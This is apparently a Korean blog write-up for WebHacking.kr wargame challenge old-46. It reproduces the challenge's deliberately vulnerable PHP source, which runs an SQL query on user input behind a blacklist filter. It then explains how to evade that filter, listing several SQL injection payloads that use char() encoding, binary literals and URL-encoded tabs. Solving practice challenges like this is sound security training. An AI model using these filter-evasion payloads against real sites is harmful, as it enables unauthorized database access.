Search

WebHacking.kr Challenge old-46

목표 : SQLi 필터 우회 (2진수, 아스키)
생김새가 old-49와 동일하다.
<?php include "../../config.php"; if($_GET['view_source']) view_source(); ?><html> <head> <title>Challenge 46</title> </head> <body> <h1>SQL INJECTION</h1> <form method=get> level : <input name=lv value=1><input type=submit> </form> <hr><a href=./?view_source=1>view-source</a><hr> <?php if($_GET['lv']){ $db = dbconnect(); $_GET['lv'] = addslashes($_GET['lv']); $_GET['lv'] = str_replace(" ","",$_GET['lv']); $_GET['lv'] = str_replace("/","",$_GET['lv']); $_GET['lv'] = str_replace("*","",$_GET['lv']); $_GET['lv'] = str_replace("%","",$_GET['lv']); if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit(); $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]")); if($result){ echo("{$result['id']} information<br><br>money : {$result['cash']}"); if($result['id'] == "admin") solve(46); } } ?> </body> </html>
PHP
복사
lv 값을 GET 인자로 받는다. 역슬래시를 붙인다.
공백 / * % 를 없애고 select hex값 limit cash 를 필터링한다.
id 가 admin이면 문제가 해결된다.
level 1~4 까지 값이 존재해 결과가 리턴된다.
단순히 id = ‘admin’ 를 하기에는 역슬래시가 붙어 admin을 다른 형식으로 표현해야하지만 Hex 값은 필터링된다.
2진수나 Char로 변환하면 된다.
admin이 Lv 1인지는 모르기에 lv=0 or id=’admin’ 형식으로 진행하자.
0||id=char(97,100,109,105,110)를 제출하면 해결된다.
이외 다른 방법
제출칸에 1&&id=char(97,100,109,105,110)를 입력 후 제출
제출칸에 1&&id=0b0110000101100100011011010110100101101110를 입력 후 제출
URL에 /?lv=1%26%26id=char(97,100,109,105,110)를 입력 후 제출
URL에 /?lv=1%26%26id=0b0110000101100100011011010110100101101110를 입력 후 제출
URL에 /?lv=1%09%26%26%09id=b0110000101100100011011010110100101101110를 입력 후 제출

✓ 다른 [워게임] 포스트

WebHacking.kr Challenge Write-Up (70/80)
In progress
WebHacking.kr Challenge Write-Up (70/80)
In progress
Load more
︎ 더 많은 게시물을 보려면
︎ 작성자가 궁금하면?
 2023. absolroot all rights reserved.